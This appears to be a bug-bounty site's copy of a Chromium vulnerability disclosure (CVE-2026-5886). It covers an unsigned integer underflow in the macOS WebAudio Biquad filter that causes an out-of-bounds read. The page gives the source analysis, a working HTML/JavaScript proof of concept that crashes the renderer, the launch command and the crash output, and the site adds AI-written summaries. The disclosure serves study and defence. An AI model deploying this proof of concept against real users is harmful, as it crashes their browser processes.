Out of bounds read in WebAudio (CVE-2026-5886)
On macOS, the WebAudio Biquad filter code subtracts 2 from an unsigned frame count when saving filter history, so a render quantum size of 1 wraps the index to a huge value and reads far past the output buffer. An attacker could crash the renderer process with a SIGBUS by supplying a small renderSizeHint through the Origin Trial feature.
c6eed09fc8b174b0f3eebedcceb1e792 Follow
Originally disclosed on Chrome VRP
- Fix shipped in 49 days
Summary
The Biquad::Process method in Chromium's WebAudio implementation contains a macOS-specific code path that reads filter history from dest_p[frames_to_process - 2], where frames_to_process is uint32_t. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active and renderSizeHint is set to 1, frames_to_process becomes 1, causing the subtraction 1 - 2 to underflow to 0xFFFFFFFF. This results in an out-of-bounds read at approximately 16 GB past the destination buffer, crashing the renderer process with a SIGBUS signal on macOS.
Root Cause
The Biquad class implements IIR filtering for the BiquadFilterNode in the Web Audio API. On macOS, the Process method has an optimized code path that uses Apple's Accelerate framework (vDSP) for filter computation. After calling ProcessFast to perform the actual filtering, the method saves two history samples from the output buffer for use in the next render quantum:
// third_party/blink/renderer/platform/audio/biquad.cc
void Biquad::Process(const float* source_p,
float* dest_p,
uint32_t frames_to_process) {
if (HasSampleAccurateValues()) {
// ... sample-accurate path (not affected) ...
} else {
#if BUILDFLAG(IS_MAC)
double* input_p = input_buffer_.Data();
double* output_p = output_buffer_.Data();
input_p[0] = x2_;
input_p[1] = x1_;
output_p[0] = y2_;
output_p[1] = y1_;
ProcessFast(source_p, dest_p, frames_to_process);
x1_ = input_p[1];
x2_ = input_p[0];
y1_ = dest_p[frames_to_process - 1];
y2_ = dest_p[frames_to_process - 2]; // underflow when frames_to_process == 1
#else
// ... non-Mac loop path (not affected) ...
#endif
}
}
The parameter frames_to_process is declared as uint32_t. When it equals 1, the expression frames_to_process - 2 does not produce -1 as a signed result; instead, the unsigned subtraction wraps around to 0xFFFFFFFF. The subsequent array access dest_p[0xFFFFFFFF] computes a byte offset of 0xFFFFFFFF * sizeof(float) = 0x3FFFFFFFC, approximately 16 GB past the start of the destination buffer. This address is virtually guaranteed to be unmapped, causing a SIGBUS on macOS ARM64.
This macOS-specific path is entered when HasSampleAccurateValues() returns false, which occurs whenever none of the BiquadFilterNode's audio parameters (frequency, Q, gain, detune) have active automation timelines or incoming audio-rate connections. The BiquadFilterHandler::Process method explicitly sets this state:
// third_party/blink/renderer/modules/webaudio/biquad_filter_handler.cc
} else {
// No sample-accurate values
for (const auto& biquad : biquads_) {
biquad->SetHasSampleAccurateValues(false);
// ... set fixed filter coefficients ...
}
}
for (unsigned i = 0; i < biquads_.size(); ++i) {
biquads_[i]->Process(source_bus->Channel(i)->Data(),
destination_bus->Channel(i)->MutableData(),
frames_to_process);
}
The frames_to_process value originates from the render quantum size configured via renderSizeHint. When the WebAudioConfigurableRenderQuantum runtime feature is enabled, the user-supplied renderSizeHint is accepted after passing through IsValidRenderQuantumSize, which permits any value from 1 to 6 * sampleRate:
// third_party/blink/renderer/platform/audio/audio_utilities.cc
uint32_t MinRenderQuantumSize() { return 1; }
uint32_t MaxRenderQuantumSize(float sample_rate) {
return static_cast<uint32_t>(6 * sample_rate);
}
Setting renderSizeHint to 1 passes validation and propagates as frames_to_process = 1 into Biquad::Process, triggering the unsigned integer underflow. The non-macOS code path (the #else branch) uses a signed int n = frames_to_process loop that naturally terminates without out-of-bounds access, so only macOS builds are affected. Note that BUILDFLAG(IS_MAC) applies to all macOS builds regardless of CPU architecture, meaning both Intel and Apple Silicon Macs are vulnerable.
Reproduce
Save the following as poc_biquad_macos_oob_read.html:
<!DOCTYPE html>
<html>
<body>
<script>
async function trigger() {
try {
// renderSizeHint = 1: frames_to_process becomes uint32_t(1)
// In Biquad::Process (macOS vDSP path, HasSampleAccurateValues()==false):
// y1_ = dest_p[frames_to_process - 1]; // dest_p[0] - OK
// y2_ = dest_p[frames_to_process - 2]; // uint32(1-2) = 0xFFFFFFFF -> OOB read
const ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 64,
sampleRate: 44100,
renderSizeHint: 1
});
// BiquadFilterNode with default parameters (lowpass, no automations)
// No automation -> HasSampleAccurateValues() == false -> enters macOS vDSP path
const biquad = new BiquadFilterNode(ctx, { type: "lowpass" });
const osc = new OscillatorNode(ctx, { frequency: 440 });
osc.connect(biquad);
biquad.connect(ctx.destination);
osc.start();
console.log("[*] renderSizeHint = 1, frames_to_process = 1 (uint32_t)");
console.log("[*] Biquad::Process macOS path: dest_p[1-2] = dest_p[0xFFFFFFFF]");
console.log("[*] Expected: heap-buffer-overflow READ on macOS ASAN build");
console.log("[*] Starting offline rendering...");
await ctx.startRendering();
console.log("[!] Rendering completed (unexpected if on macOS ASAN)");
} catch (e) {
console.log("[!] Exception: " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Download a macOS ARM64 ASAN build of Chromium and run with:
chromium-asan-1586336-mac-arm64/Chromium.app/Contents/MacOS/Chromium \
--no-sandbox \
--enable-blink-features=WebAudioConfigurableRenderQuantum \
poc_biquad_macos_oob_read.html
The --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead.
Output from execution confirms the crash:
Received signal 10 BUS_ADRALN 60340009d47c
[0x000312433bcc]
[0x000312407ae8]
[0x000312433a00]
[0x00019bfd56a4]
[0x00032201abfc]
[0x000322020f40]
[0x000321f80dc8]
[0x000321fa05b0]
[0x000321f9dd50]
[0x000321f9e1a0]
[0x00032207f74c]
[0x00032207e480]
[0x000322080908]
[0x0003122ce728]
[0x000312336280]
[0x00031233562c]
[0x0003121b7f2c]
[0x0003123375e0]
[0x00031225ca24]
[0x00030c1ab770]
[0x000312402218]
[0x000104d5566c]
[0x00019bf9bc0c]
[0x00019bf96b80]
[end of stack trace]
Signal 10 is SIGBUS on macOS, confirming the out-of-bounds read caused by the unsigned integer underflow in Biquad::Process. The renderer process is terminated immediately upon accessing the invalid memory address derived from dest_p[0xFFFFFFFF].
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely an unsigned integer underflow: the frame count is a uint32_t and the code indexes dest_p[frames_to_process - 2] without checking that at least two frames were processed.
Impact
On macOS builds only, the out-of-bounds read crashes the renderer process with SIGBUS; the text does not claim code execution or data disclosure.
What the attacker needed
MacOS Chromium build; Origin Trial feature enabled or token; renderSizeHint set to 1
How it was found
- Enable the WebAudioConfigurableRenderQuantum feature (or supply a valid Origin Trial token) in a macOS build of Chromium.
- Create an OfflineAudioContext with renderSizeHint set to 1.
- Add a BiquadFilterNode with default parameters and no automation, plus an oscillator, and connect them to the destination.
- Start offline rendering, which reaches the macOS vDSP path with frames_to_process equal to 1 and triggers the out-of-bounds read and SIGBUS.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Audio in the browser is processed in small chunks called render quanta. A filter keeps the last two samples from each chunk to carry over to the next, but the code subtracts 2 from an unsigned number, so a chunk of size 1 turns into a gigantic index and the browser reads memory it should not. That bad read crashes the tab's rendering process.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.